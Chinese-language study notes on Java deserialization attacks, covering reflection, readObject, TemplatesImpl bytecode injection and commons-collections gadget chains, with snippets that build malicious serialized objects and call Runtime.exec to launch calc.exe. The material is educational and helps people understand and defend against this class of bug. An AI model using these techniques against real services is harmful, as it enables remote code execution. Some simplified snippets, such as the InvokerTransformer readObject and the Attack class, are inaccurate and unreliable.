📖 Java反序列化笔记
基础概念¶
前置知识¶
- 类&class对象&对象
- 三种获取class对象的方法
- Class 对象和普通对象的区别

- 防止概念混淆类比sql语句中向表中写入数据的代码,而class对象可以类比为表头,一个个实例对象可以理解为表中的一条条数据

- 静态方法&实例方法
- 调用:静态方法可以直接通过类名调用,不需要实例;实例方法需要先有对象,然后通过对象名调用

- 私有化构造器
- 效果:类内部可以通过new创建新实例,类外部不能用 new 创建实例
- 为什么要私有化构造器

- 反射突破限制:用 setAccessible(true) 强行突破
- 总结:构造器私有 = 外部不能 new = 必须通过类提供的静态方法获取实例(如 Runtime.getRuntime())。这是一种封装设计,用于控制对象的创建方式。但反射可以用 setAccessible(true) 强行突破这个限制。
- 字节码vs序列化数据流
- 字节码(是指令)
- 字节码是Java编译器生成的中间代码,是给JVM看的指令集,不是给CPU看的
- 形成字节码的流程
hello.class文件中就是字节码(二进制格式,不是文本)
// 1. 你写的Java源代码 public class hello { public static void main(String[] args) { System.out.println("Hello"); } }// 3. Hello.class 文件里是字节码(二进制格式,不是文本) // 用十六进制查看大概是: CA FE BA BE 00 00 00 xx ... // 前4个字节"CAFEBABE"是class文件的魔数
- 字节码长什么样子

- 序列化数据(是数据) 序列化数据流是Java对象在内存中的状态被转换成字节序列,用于存储或传输,之后可以反序列化恢复成对象。
- 对比
字节码是代码(.class文件),告诉JVM"该怎么做事";序列化数据流是数据(对象状态),告诉JVM"当前有什么数据" - JVM的完整执行流程
- 加载.class文件读取字节码
- 检查字节码是否合法,防止恶意代码
- 为静态变量分配内存,设置默认值
- 解析,把符号引用转成直接引用
- 初始化:执行静态代码块和静态变量赋值
- 执行————两种方式:解释执行 vs 编译执行(核心重点)
- 解释执行:
- 示例:
- 特点:
- 启动快(不用等编译)
- 节省内存(不用存放编译后的机器码)
- 执行慢(每次执行都要翻译一遍)
- 编译执行
- 示例
- 特点:
- 启动慢(需要把整段代码编译完再执行)
- 占内存(需要存放编译后的机器码)
- 执行快(编译一次后面直接用机器码)
- JVM一般采用混合模式
- 示例:
- 可以通过参数控制执行模式
- 解释执行:
- TemplatesImpl
- 是什么:是 Java 内部用来表示"编译好的 XSLT 样式表"的类,当一个 XSLT 文件被加载后,Java 会解析 XSLT 文件(文本格式)编译成内部表示(Templates 对象,实际是 TemplatesImpl 实例)用这个 TemplatesImpl 对象反复执行转换
- 关键点:TemplatesImpl 的核心逻辑(即加载并实例化恶意字节码的那个方法)是通过 getTransletInstance() 被触发的
这个方法内部检查了三个关键的私有变量: 1. _name:必须不为 null。 2. _bytecodes:存放着恶意类的字节码。 3. _tfactory:在部分 JDK 版本中必须存在,否则会报错 直接 new 出来的对象,这些私有字段都是空的,调用其 newTransformer() 方法并不能达到执行恶意代码的目的。因此,利用的核心在于通过反射修改这些 private 字段的值,而不是直接使用 public 方法初始化。
private Translet getTransletInstance() throws TransformerConfigurationException { // 1. 检查 _name 不为空 if (_name == null) return null; // 2. 加载字节码(_bytecodes) if (_class == null) defineTransletClasses(); // 3. 实例化,触发恶意类的构造代码 AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance(); // ... } - 为什么攻击者喜欢它?:因为 TemplatesImpl 有一个隐藏功能:它不仅能加载 XSLT 文件,还能直接接收 Java 字节码,并把字节码当成"XSLT 转换逻辑"来执行。
// 正常用法:传入 XSLT 文件内容 TemplatesImpl templates = new TemplatesImpl(); templates.setSource(xsltSource); // XSLT 文本 // 恶意用法:直接传入 Java 字节码 TemplatesImpl templates = new TemplatesImpl(); setField(templates, "_bytecodes", new byte[][]{evilJavaClassBytecode}); setField(templates, "_name", "anything"); templates.newTransformer(); // 触发加载字节码 - TemplatesImpl具体干了什么
正常流程
恶意利用流程
// TemplatesImpl内部大致结构 public class TemplatesImpl { // 这个字段存的是字节码数组(多个.class文件的内容) private byte[][] _bytecodes; // 每个byte[]就是一个.class文件 // 当调用newTransformer()时 public synchronized Transformer newTransformer() { // 1. 把_bytecodes里的字节码加载成Class对象 Class clazz = defineClass(_bytecodes[0]); // JVM加载字节码 // 2. 实例化这个类 Object obj = clazz.newInstance(); // 3. 执行 // ... } }// 1. 先写一个恶意类(源码) public class Evil { static { // 静态代码块,类加载时自动执行 Runtime.getRuntime().exec("calc.exe"); } } // 2. 编译成字节码 // javac Evil.java → 生成 Evil.class // 3. 读取Evil.class文件内容(字节码) byte[] evilBytecode = Files.readAllBytes(Paths.get("Evil.class")); // 4. 把字节码放入TemplatesImpl的_bytecodes字段 TemplatesImpl templates = new TemplatesImpl(); setField(templates, "_bytecodes", new byte[][]{evilBytecode}); // 5. 触发newTransformer → JVM加载Evil.class → 静态代码块执行 → 弹计算器 templates.newTransformer(); - 对比使用序列化数据流 序列化数据流只能恢复已有的类。 假如目标服务器没有 Evil 这个类: 你发送Evil对象的序列化数据 → 反序列化时找不到Evil类 → ClassNotFoundException 而字节码方案: 你把Evil.class的内容(字节码)放进 _bytecodes 字段 TemplatesImpl会动态定义这个类(相当于临时创建了Evil类) 然后实例化执行 这就是为什么TemplatesImpl是反序列化漏洞的"神器"——它让攻击者能在目标服务器上凭空创建一个新类并执行。
- 一句话:XSLT 是一套"XML 转换规则",TemplatesImpl 是 Java 内部用来表示这套规则的编译后对象。攻击者发现可以直接往 TemplatesImpl 里塞 Java 字节码,让它执行任意代码,于是它成了反序列化漏洞的经典载体。

序列化和反序列化¶
- 什么是序列化 序列化(serialization)是将内存中的“对象”(一组数据和行为)转换成一种可以持久化存储(如保存到硬盘) 或可以在网络传输的格式(如字节流,json,XML) 反序列化是与序列化相反的过程:从这种格式中重构出原来的对象 一句话记住核心: 对象是“活的”,活在特定JVM的内存中,有地址、有引用关系、有运行时状态。序列化就是给对象“拍张照片”,把它的“内在信息”提取出来,变成可以在任何时间、任何地点“复活”它的数据。【这也解释了为什么反序列化如此危险——因为“复活”过程中,攻击者可以篡改照片里的内容,让复活的对象执行恶意行为。】
- 为什么要序列化
- 对象在内存中的本质:在java中,一个对象存在于JVM的堆内存中,包含三部分:
- 对象头(Header):包含GC状态,锁信息,类元数据指针(指向哪个类)
- 实例数据(Instance Data):字段的值(int、引用地址)
- 填充对齐(Padding):为了内存对齐 关键:对象中存储的引用是内存地址,该地址只在当前JVM进程中有意义
- 对象为什么不能做字节流做的事
- 进程间通信:RMI(Java远程方法调用)、RPC(远程过程调用)
- 假设进程A想要把一个User对象发送给进程B会遇到的问题
- 内存地址无效,内部指针断裂:进程A中的 user 对象地址 0x1234,在进程B的地址空间中可能对应完全不同的数据。User 对象内部引用了 name 字符串对象(地址 0x5678),这个地址在进程B中毫无意义
- JVM内部结构差异:不同JVM版本、不同厂商(Oracle vs OpenJDK)、不同GC实现,对象的内存布局可能完全不同
- 进程A和B的 User 类版本可能不同(新增字段、删除字段、修改类型)
- 示例 错误 正确
- 序列化的本质:把内存中的关系网转化成扁平的、自描述的数据流,丢弃地址信息,保留逻辑信息
- 假设进程A想要把一个User对象发送给进程B会遇到的问题
- 分布式缓存:如 Redis、Memcached 存储Java对象
- 为什么对象不能直接存入缓存:Redis 是一个独立于JVM之外的进程(用C语言编写)。它与JVM没有任何内存共享。
- Redis不认识JVM对象:Redis只能存储字符串(二进制安全的)、列表、哈希、集合等基本数据结构
- 内存布局不同:JVM对象有对象头、Mark Word、Klass指针,C语言的结构体完全不同
- 无法重建类定义:Redis不知道 User 类有哪些字段、各字段类型是什么
- 示例: 错误
- 序列化后的字节流包含了完整的类元信息(类名、字段名、字段类型)。反序列化时,JVM根据类名找到本地class定义,按字段名逐个赋值
- 为什么对象不能直接存入缓存:Redis 是一个独立于JVM之外的进程(用C语言编写)。它与JVM没有任何内存共享。
- 深度复制:通过序列化实现对象的深拷贝
- 【前置知识:深度复制(Deep Copy)是创建一个新对象,并递归复制原对象内部所有引用类型字段指向的对象,使得原对象和复制对象完全独立,互不影响。
】 - 为什么对象不能直接完成深拷贝?很多人会用 clone() 方法,但 Object.clone() 只能完成浅复制
- 为什么序列化能完成深拷贝? 序列化会递归遍历整个对象图(对象引用的对象,再引用的对象...) 反序列化时全新创建所有对象,所有引用都是新地址,与原对象完全独立
- 【前置知识:深度复制(Deep Copy)是创建一个新对象,并递归复制原对象内部所有引用类型字段指向的对象,使得原对象和复制对象完全独立,互不影响。
- Session持久化:Tomcat等容器将Session对象保存到文件或数据库【Tomcat 需要将用户的 Session 保存到硬盘(比如重启后恢复登录状态)】
- 为什么Session对象不能直接保存到文件?
- 内存地址无效:重启后JVM是全新的进程,原来的内存地址全部废弃
- 对象关系复杂:Session 中可能存了 User、ShoppingCart、List
等,形成对象图 - 静态字段不保存:类的静态变量属于Class对象,不属于实例,不应被持久化
- 资源对象不可序列化:Session 中可能包含 Connection(数据库连接)、FileInputStream 等,这些对象本身无法持久化
- 序列化实现
// 简化版:Tomcat 保存 Session session.getAttribute("user") // 得到 User 对象 byte[] data = serialize(user); // 序列化成字节 writeToFile("SESS12345.ser", data); // 保存到文件 // Tomcat 重启后恢复 byte[] data = readFromFile("SESS12345.ser"); User user = (User) deserialize(data); // 在新的JVM中重建对象 session.setAttribute("user", user);
- 为什么Session对象不能直接保存到文件?
- 进程间通信:RMI(Java远程方法调用)、RPC(远程过程调用)
- Java 原生序列化机制【Java从JDK 1.1开始提供原生序列化支持,核心在 java.io 包中】

- 序列化字节流格式(Java 序列化后的字节流有固定格式,了解它有助于分析恶意 payload,也能绕过简单的WAF检测)
示例
重要常量(定义在ObjectStreamConstants中)
Serializable¶
- Serializable-标记接口 什么是标记接口:空接口,没有任何方法,它的作用仅仅是“标记”某个类具备某种能力。
- Serializable的作用:告诉JVM这个类可以被序列化
- 为什么要显式声明 继承关系中的序列化:父类实现了Serializable子类无需自动可序列化无需再写implements;父类没有实现Serializable,子类想序列化需要手动implements
writeObject-序列化入口¶
- writeObject()位于ObjectOutputStream中,完整签名是
public final void writeObject(Object obj) throws IOException- 签名详解

- throws IOException:处理异常
- try-catch
- 往上抛(上层方法签名也要加上throws)
- 签名详解
- 默认行为:如果没有定义JVM会自动调用默认的序列化逻辑
- 完整实现序列化对象流程
- 创建要序列化的对象
public class Person implements Serializable{ private String name; private int age; private static final long serialVersionUID=1L; public Person(String name,int age){ this.name=name; this.age=age; } @Override public String toString(){ return "Person{name="+name+",age="+age+"}"; } } Person p=new Person("张三", 18); - 创建ByteArrayOutputStream(内存缓冲区)
- 创建ObjectOutputStream(包装流)
- 执行writeObject(核心操作)
- 刷新并关闭
- 获取序列化之后的字节数据
- 完整代码运行结果

- 完整的序列化执行流程

- 创建要序列化的对象
- 多次调用writeObject
引用共享
readObject-反序列化入口¶
【基础讲解】¶
- 完整方法签名
public final Object readObject() throws IOException, ClassNotFoundException
- 返回值说明:
- 完整反序列化流程
- 从内存字节数组中反序列化
代码示例
运行结果
import java.io.*; public class reaObject { public static class Person implements Serializable { private String name; private int age; private static final long serialVersionUID=1L; public Person(String name,int age){ this.name=name; this.age=age; } @Override public String toString(){ return "Person{name="+name+",age="+age+"}"; } } public static void main(String[] args) throws IOException,ClassNotFoundException { Person p1=new Person("tom", 18); ByteArrayOutputStream baos =new ByteArrayOutputStream(); ObjectOutputStream oos=new ObjectOutputStream(baos); oos.writeObject(p1); oos.flush(); oos.close(); byte[] data=baos.toByteArray(); ByteArrayInputStream bais=new ByteArrayInputStream(data); ObjectInputStream ois=new ObjectInputStream(bais); Object obj=ois.readObject(); ois.close(); bais.close(); Person p2=(Person)obj; System.out.println("originalObject:"+p1); System.out.println("restoredObject:"+p2); System.out.println("original==restored: " + (p1 == p2)); } }
- 从文件中反序列化
- 代码示例
import java.io.*; public class FileUnserialization { public static class Person implements Serializable{ private String name; private int age; private static final long serialVersionUID=1L; public Person(String name,int age){ this.name=name; this.age=age; } @Override public String toString(){ return "Person{name:"+name+",age:"+age+"}"; } } public static void main(String[] args) throws IOException,ClassNotFoundException{ Person p1=new Person("tom", 18); FileOutputStream fos=new FileOutputStream("1.bin"); ObjectOutputStream oos=new ObjectOutputStream(fos); oos.writeObject(p1); oos.flush(); oos.close(); System.out.println("save:ok"); FileInputStream fis=new FileInputStream("1.bin"); ObjectInputStream ois=new ObjectInputStream(fis); Object obj=ois.readObject(); Person p2=(Person)obj; ois.close(); System.out.println("restore:ok"); System.out.println("originalObject:"+p1); System.out.println("restoredObject:"+p2); System.out.println("original==restored: " + (p1 == p2)); } } - 运行结果:

- 代码示例
- 异常处理
- 必须处理的异常:IOException, ClassNotFoundException【readObject 声明的两个异常】
- 处理方法
- try-catch
- throws往上抛
- 常见的异常及原因

- 多个对象读取:读取和写入的顺序必须一致
// 写入顺序 oos.writeInt(100); // 1. 写 int oos.writeUTF("Hello"); // 2. 写 String oos.writeObject(person); // 3. 写对象 // 读取顺序(必须一致) int num = ois.readInt(); // 1. 读 int ✅ String str = ois.readUTF(); // 2. 读 String ✅ Person p = (Person) ois.readObject(); // 3. 读对象 ✅ // 如果顺序不一致会报错: // String str = ois.readUTF(); // ❌ 但下一个字节是 int,会乱码 - 自定义readObject【*】
- 为什么需要自定义readObject

- 基本语法
public class MyClass implements Serializable { private static final long serialVersionUID = 1L; private String data; // 自定义反序列化方法 // 方法签名必须是:private void readObject(ObjectInputStream in) private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException { // 先调用默认的读取 in.defaultReadObject(); // 然后再做自定义的事情 // 比如:验证、解密、初始化等 } } - raedObject和构造方法的关系: 反序列化不调用构造方法,反序列化是通过特殊方式直接创建对象的
【进阶探索】(漏洞核心)
¶
- readObject方法体中的常见形式
- defaultReadObject()详解【如果攻击者能够通过字节流控制某些字段的值并且这些字段被用在危险操作中就会产生漏洞!】
- 做什么:恢复对象的普通字段(非transient)
- 记住什么:将字节流中的字段值天填回对象
- 危险吗:本身不危险,但如果攻击者能控制字段值
- 不调用会这样:字段保持默认值(null/0/false)
- 危险操作
- 执行命令
Runtime.getRuntime().exec(cmd)【RCE】 - 反射调用
method.invoke(obj,args)【任意方法调用】 - JNDI查找
new InitialContext().lookup(name)【JNDI注入】 - 类加载
Class.forName(classname)【加载恶意类】 - 文件操作
new FileOutputStream(path)【写文件】 - URL访问
new URL(url).openConnection()【SSRF】 - 反射创建对象
constructor.newInstance(args)【实例化任意类】 - 漏洞代码示例
- 攻击流程:
- 创建VulnerableClass对象,将command字段的值设为calc.exe
- 将对象序列化
- 将序列化后的字节流发送给受害者
- 受害者反序列化该字节流时,命令自动执行
- 触发时机 误区:readObject不是构造函数,而是在对象创建后调用 1. 对象被特殊方式创建(不调用构造函数) 2. 字段被恢复(defaultReadObject) 3. readObject 被调用
- 分析readObject漏洞的步骤
- 找到类中的readObject方法
- 看是否调用了defaultReadObject()
- 看是否执行了危险操作
- 判断是否是攻击者可控
- 典型漏洞链模式
- 直接执行危险操作
- 间接调用
- 触发其他类的readObject
- 分析真实漏洞模式【 Commons Collections 的 Transformer 链(简化版)】
分析思路
// 攻击者关注的核心:InvokerTransformer public class InvokerTransformer implements Transformer, Serializable { private String iMethodName; private Class[] iParamTypes; private Object[] iArgs; private void readObject(ObjectInputStream in) { in.defaultReadObject(); // 恢复方法名、参数 // 🔥 危险:通过反射调用任意方法 Method m = input.getClass().getMethod(iMethodName, iParamTypes); m.invoke(input, iArgs); } }- 发现readObject:InvokerTransformer 有 readObject
- 调用defaultReadObject:恢复了 iMethodName、iParamTypes、iArgs
- 危险操作:反射调用任意方法
- 可控性:攻击者可以通过字节流控制要调用的方法名和参数
- 结论:如果能把 input 控制成 Runtime 对象,就能执行命令
serialVersionUID¶
- Serializable机制中的版本控制机制,是一个版本号,用于验证序列化的对象和当前类的定义是否兼容
- 示例
- 工作原理:反序列化端对于不同的类都有不同的serialVersionUID值,每次反序列化端将字节流反序列化时都会将字节流头部的serialVersionUID与指定生成的类的serialVersionUID本地存储的值进行比较

- 核心要点:
- 每个类独立管理自己的UID
- 只比较同名类的UID
- 如果不写JVM在编译时会根据类的结构(字段名,字段类型,方法等)自动计算出一个hash值

transient字段¶
- transit字段不会被序列化
- 反序列化之后该字段会变成默认值
- 默认值速查表

- 只有实例变量且不是transient的才会被序列化,static修饰的也不会被序列化
- 重点关注情况
readResolve()¶
- 返回值会替换掉反序列化出来的对象
- 示例 效果
- 为什么对漏洞利用很重要:readResolve 会破坏你的攻击
- 示例:
public class Vulnerable implements Serializable { private String command; private void readObject(ObjectInputStream in) throws Exception { in.defaultReadObject(); // 🔥 危险操作:执行命令 Runtime.getRuntime().exec(command); } // 🛡️ 防御机制:替换掉恶意对象 private Object readResolve() { return new Vulnerable(); // 返回一个新的(无恶意)对象 } } - 攻击流程被破坏
- 攻击者构造恶意序列化数据(command="calc.exe")
- 受害者反序列化
- readObject() 执行 → calc.exe 被执行 ✅
- 然后 readResolve() 执行 → 恶意对象被替换成新对象
- 调用方拿到的是无害的新对象
结果:虽然命令执行了,但后续利用可能被阻断 - 关键点

- 调用顺序:先执行readObject后执行readResolve并替换结果
- 需要关注readResolve的场景

- 一句话总结:readResolve() 就是反序列化的"最后一道关卡"——无论 readObject() 创建了什么对象,readResolve() 的返回值才是调用方最终拿到的。对攻击者来说,这意味着你的恶意对象可能被替换掉;但 readObject() 中的代码仍然会执行,所以命令执行类攻击不受影响
反射调用机制¶
- 什么是反射:反射是在运行程序时动态获取类的信息并操作,不需要在编译时知道类名
// ❌ 普通方式:编译时就要知道类名 Runtime rt = Runtime.getRuntime(); rt.exec("calc"); // ✅ 反射方式:运行时才知道类名 Class<?> clazz = Class.forName("java.lang.Runtime"); // 类名可以是字符串变量 Method m = clazz.getDeclaredMethod("getRuntime"); Object rt = m.invoke(null); m = clazz.getDeclaredMethod("exec", String.class); m.invoke(rt, "calc"); - 反射类对比【Constructor、Method、Field】

Class.forName():¶
- 是什么:反射的入口方法,也是最常用的类加载方式【让JVM加载一个类并返回这个类的class对象】
- 为什么需要
- 执行流程
【类初始化时静态代码会被执行(漏洞点)】 - Class.forName() 在反序列化中的作用
- 不是直接去序列化,而是加载 Gadget 类
- 配合反射调用命令
getRuntime方法:¶
是用来获取 Runtime 类的唯一实例(单例对象)的静态方法。Runtime 类的构造器是私有的(单例模式),不能直接 new
invoke():是真正执行方法的命令。¶
public Object invoke(Object obj, Object... args)
- 普通调用&反射调用
- invoke() 参数传递详解
// 方法签名 Object invoke(Object obj, Object... args) // 参数1 obj:调用的对象 // - 静态方法:传 null // - 实例方法:传对象实例 // 参数2 args:方法参数,可变参数 // 示例1:无参方法 Method m1 = clazz.getDeclaredMethod("noParam"); m1.invoke(obj); // 第二个参数可以不写 // 示例2:一个参数 Method m2 = clazz.getDeclaredMethod("oneParam", String.class); m2.invoke(obj, "hello"); // 示例3:多个参数 Method m3 = clazz.getDeclaredMethod("twoParams", String.class, int.class); m3.invoke(obj, "hello", 123); // 示例4:数组参数 Method m4 = clazz.getDeclaredMethod("arrayParam", String[].class); m4.invoke(obj, new Object[]{new String[]{"a", "b"}}); - 返回值

- 方法调用的返回值接收对比
【invoke() 总是有返回值,但用不用取决于你——需要就接,不需要就不接。】

- 什么时候需要将返回值进行强制类型转换 invoke() 返回值是否需要类型转换,取决于你后续要做什么。只存储或打印 → 不用转;要调用方法、访问字段、做运算 → 必须转。转换的本质是告诉编译器"我知道这个对象真正的类型是什么",从而获得该类型的方法和属性访问权限。 要不要转换?看后续操作: 存储打印不用转(Object 够用) 调用方法必须转(找具体方法) 数学运算必须转(拆箱成基本类型) 传给 API 看参数(接受 Object 就不用)
getDeclaredMethod&&getMethod¶
- 对比
- 在Gadget链分析中
setAccessible():¶
- 作用是绕过 Java 的访问权限检查,让你可以调用 private 方法、访问 private 字段。
- 正常情况下不能访问私有成员
- 加上
field.setAccessible(true)
反射中处理不同类的规则¶
- 私有构造器+单例(Runtime、Desktop)
- 调用静态方法构造唯一实例
- 强行构造新实例,会破坏单例(可以但不推荐) ```java Class<?> clazz=Class.forName("java.lang.Runtime"); Constructor cst=clazz.getDeclaredConstructor(); cst.setAccessible(true); Object nrt =cst.newInstance(); Method exec=clazz.getDeclaredMethod("exec",String.class); exec.invoke(nrt,"calc");
- 私有构造器+静态方法,不提供实例(System、Collections)
- 不用获取实例,直接获取并调用静态方法
- 公有构造器(StringBuilder、ArrayList)
- 先获取构造器然后newInstance()构造新实例
getDeclaredField¶
Field f=clazz.getDeclaredField("name");
f.setAccessible(true);
Object value=f.get(obj);
f.set(obj,"ll");
反射代码¶
- 示例
- 代码详解
// 第1步:Class.forName("类全名") // 作用:加载类,返回 Class 对象 // 类全名 = 包名.类名 Class<?> clazz = Class.forName("java.lang.Runtime"); // 注意:写错类名会抛 ClassNotFoundException // 第2步:getDeclaredMethod("方法名", 参数类型...) // 作用:获取类中声明的方法(包括私有) Method getRuntime = clazz.getDeclaredMethod("getRuntime"); // 参数说明: // - "getRuntime":方法名 // - 后面没有参数类型,因为 getRuntime() 没有参数 // 第3步:invoke(对象, 参数...) // 作用:调用方法 // - 如果是静态方法,第一个参数传 null // - 如果是实例方法,第一个参数传对象实例 Object runtime = getRuntime.invoke(null); // getRuntime 是静态方法,所以传 null // 第4步:获取 exec 方法 // exec 方法有一个 String 参数 Method exec = clazz.getDeclaredMethod("exec", String.class); // 第5步:调用实例方法 // exec 是实例方法,需要传 runtime 对象 exec.invoke(runtime, "calc"); - 常用的反射方法调用
- 反射调用 System.currentTimeMillis()
- 反射创建 StringBuilder 并调用 append()
- 反射调用 Runtime.exec("calc")(必须能默写)
- 常见异常及原因

- 反射关键点总结

魔术方法链¶
- readObject()的调用时机:正好是对象字段已恢复但对象还没返回给调用者的“窗口期”,攻击者利用这个窗口期,通过操作已恢复的字段触发 gadget 链执行恶意代码,执行完后对象才返回,此时应用层代码根本不知道恶意操作已经发生。

- 漏洞触发的本质

- 反序列化漏洞不是 readObject 本身的问题,而是受害者系统中存在的特定类的问题
- 原因
- 攻击流程
- 正常示例
// 受害者系统只有 JDK 自带类,没有 commons-collections public class SafeServer { public static void main(String[] args) throws Exception { // 反序列化一个普通的 User 对象 byte[] data = ...; ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(data)); User user = (User) ois.readObject(); // ← 安全!没有危险代码执行 } } class User implements Serializable { private String name; private int age; // 没有定义 readObject,使用默认行为 // 默认 readObject 只做字段恢复,不做任何危险操作 } - 攻击示例
- 受害者的正常业务代码
// 受害者的正常代码(比如一个Web应用) public class UserService { // 从网络接收用户数据并反序列化 public void processUserData(byte[] userData) { try { // 受害者只是正常地反序列化一个User对象 ByteArrayInputStream bais = new ByteArrayInputStream(userData); ObjectInputStream ois = new ObjectInputStream(bais); User user = (User) ois.readObject(); // ← 这里会触发! ois.close(); System.out.println("收到用户: " + user.getName()); } catch (Exception e) { e.printStackTrace(); } } } - 攻击者先找到一个受害者系统里有的、存在漏洞的类
// 这个类在受害者系统的某个依赖包里(比如 commons-collections) package com.some.library; public class User implements Serializable { private String name; private String command; // ← 攻击者会控制这个字段 private void readObject(ObjectInputStream in) throws Exception { in.defaultReadObject(); // 恢复 name 和 command // 🔥 这是开发者无意间写的危险代码 if (command != null && !command.isEmpty()) { Runtime.getRuntime().exec(command); // 危险! } } } - 攻击者构造恶意对象
// 攻击者的代码 public class Attack { public static void main(String[] args) throws Exception { // 创建受害者系统中存在的 User 类 User maliciousUser = new User(); // 通过反射设置 command 字段(因为可能是 private) Class<?> clazz = maliciousUser.getClass(); Field cmdField = clazz.getDeclaredField("command"); cmdField.setAccessible(true); // 🔥 关键:攻击者把反射代码作为字符串存进去 String reflectionCode = "Class<?> clazz=Class.forName(\"java.lang.Runtime\");" + "Method m=clazz.getDeclaredMethod(\"getRuntime\");" + "Object rt=m.invoke(null);" + "m=clazz.getDeclaredMethod(\"exec\",String.class);" + "m.invoke(rt,\"calc\");"; cmdField.set(maliciousUser, reflectionCode); // 序列化这个恶意对象 ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(maliciousUser); byte[] payload = baos.toByteArray(); // 发送给受害者... } } - 受害者正常业务触发反序列化
- JVM 自动执行 readObject
- 受害者的正常业务代码
- toString() / hashCode()在Gadget链中的作用
- 正常情况下不会被调用
- 但在 Gadget 链中会被间接触发
经典案例:HashMap.readObject() 会调用 key.hashCode()
攻击链
// java.util.HashMap 的 readObject(简化) private void readObject(ObjectInputStream in) { // 读取元素数量 int size = in.readInt(); // 重建 HashMap for (int i = 0; i < size; i++) { Object key = in.readObject(); // 反序列化 key Object value = in.readObject(); // 反序列化 value putForCreate(key, value); // ← 内部会调用 key.hashCode() } } - URLDNS 链原理(经典示例) 攻击者构造
- 总结:hashCode() 可能在 HashMap.readObject() 中被调用,toString() 可能在 TreeMap、HashSet 等类的 readObject() 中被调用。攻击者利用这些"意料之外"的触发点来构造 Gadget 链。
- 反序列化漏洞的核心:readObject() 是入口,hashCode() / toString() 是间接触发点
Gadget Chain¶
Gadget¶
- 是什么:受害者系统中已经存在的可以被攻击者利用的类或方法片段
- 存在的根本原因:可以执行命令的类基本上都不是可序列化
- 核心原理:readObject 本身没有危险代码,但它调用了某个方法,那个方法又调用了另一个方法...最终到达危险代码。
- 链式调用示例
// 类A:readObject 中调用了 put public class ClassA implements Serializable { private Map map; private Object key; private Object value; private void readObject(ObjectInputStream in) { in.defaultReadObject(); map.put(key, value); // ← 看起来无害 } } // 类B:put 方法中调用了 transform public class ClassB implements Serializable { private Transformer transformer; public Object put(Object key, Object value) { // 如果 key 不存在,调用 transformer if (!containsKey(key)) { Object result = transformer.transform(key); put(key, result); return result; } return null; } } // 类C:transform 中执行反射 public class ClassC implements Serializable { private String methodName; public Object transform(Object input) { Method m = input.getClass().getMethod(methodName); return m.invoke(input); } } - 调用链图解
- 真实cc1链
- 为什么需要链
Gadget的分类¶
- 入口Gadget:提供 readObject 入口 【AnnotationInvocationHandler、BadAttributeValueExpException】
- 调用Gadget:触发下一个 Gadget【LazyMap、TransformedMap】
- 执行Gadget:执行反射/命令【InvokerTransformer】
- 串联Gadget:串联多个Gadget【ChainedTransformer】
攻击者如何找到这些类¶
- 已知的Gadget库

- 查找思路:
- 实现了 Serializable 的类
- 有 readObject 方法
- readObject 中调用了其他方法
- 这些方法的参数可被攻击者控制
- 最终能走到反射或命令执行

commons-collections 库介绍¶
- 版本差异:
- commons-collections 3.x【漏洞重灾区,CC1-CC7 的温床】
- commons-collections 4.x【部分链仍然存在漏洞(如 CC2、CC4)】
- 为什么这个库是"经典靶场"? 原因: 广泛应用(大量 Java 项目使用) 提供了 InvokerTransformer(可反射调用任意方法) 提供了 ChainedTransformer(可串联调用) 类实现了 Serializable(可被反序列化)
- 需要知道的类
- 总结:commons-collections 是反序列化漏洞的"经典靶场",InvokerTransformer + ChainedTransformer 是 CC 链的核心组合。
Transformer接口¶
接口定义¶
三个核心实现类¶
- ConstantTransformer(起点)
- 输入任意值,返回固定常量
- 执行示例
- 为什么需要该类:cc链中,第一步需要一个起点对象,ConstantTransformer可以提供
- InvokerTransformer(危险核心)
- 简单理解:InvokerTransformer 就是"反射调用代码的序列化版本"
- 为什么需要:因为攻击者写的反射调用代码不可序列化,需要通过InvokerTransformer将攻击者想要实现的反射调用代码转换为可序列化的对象。攻击者不能把反射代码直接发给受害者。他们必须把反射代码"翻译"成 InvokerTransformer 对象链,因为这些对象可以被序列化。受害者反序列化时,这些对象的 transform() 方法被自动调用,最终等价于执行了反射代码。

- 源码
// Commons Collections 3.2.1 中的真实源码 package org.apache.commons.collections.functors; public class InvokerTransformer implements Transformer, Serializable { private static final long serialVersionUID = -8653385846894047688L; // 存储的三个关键信息 private final String iMethodName; // 要调用的方法名 private final Class[] iParamTypes; // 方法的参数类型数组 private final Object[] iArgs; // 方法的参数值数组 // 构造方法 public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { this.iMethodName = methodName; this.iParamTypes = paramTypes; this.iArgs = args; } // 🔥 核心方法:通过反射调用任意方法 public Object transform(Object input) { if (input == null) { throw new IllegalArgumentException("Input object cannot be null"); } try { // 1. 获取 input 对象的类 Class<?> cls = input.getClass(); // 2. 获取方法(支持私有方法?不,getMethod 只能拿 public) // 这就是为什么某些链需要 getDeclaredMethod 的问题 Method method = cls.getMethod(iMethodName, iParamTypes); // 3. 调用方法 return method.invoke(input, iArgs); } catch (Exception e) { throw new FunctorException("InvokerTransformer: " + e.getMessage()); } } } - InvokerTransformer的三个关键字段

- InvokerTransformer 的限制

- InvokerTransformer对象与反射调用方法
- 调用getMethod("getRuntime")
- 调用invoke(null)获取Runtime实例
- 调用exec("calc")
- ChainedTransformer(串联器)
- 作用:把多个Transformer串联起来,让前一个的输出作为后一个的输入
- 源码简化版
public class ChainedTransformer implements Transformer { private final Transformer[] iTransformers; // Transformer 数组 public ChainedTransformer(Transformer[] transformers) { this.iTransformers = transformers; } public Object transform(Object input) { Object result = input; // 依次调用每个 Transformer,前一个的输出是后一个的输入 for (Transformer t : iTransformers) { result = t.transform(result); } return result; } } - 执行流程
// 假设有3个 Transformer Transformer[] transformers = {A, B, C}; ChainedTransformer chain = new ChainedTransformer(transformers); // 调用 chain.transform(input) Object result = chain.transform(input); // step1 = A.transform(input) // step2 = B.transform(step1) // step3 = C.transform(step2) // return=step3
使用方法¶
- ConstantTransformer 提供起点,InvokerTransformer 执行反射调用,ChainedTransformer 把它们串成链。三条配合,从 null 一路走到 calc.exe。这就是 CC 链的核心原理,也是所有反序列化 Gadget 链的模板。
- 简单示例
验证执行结果
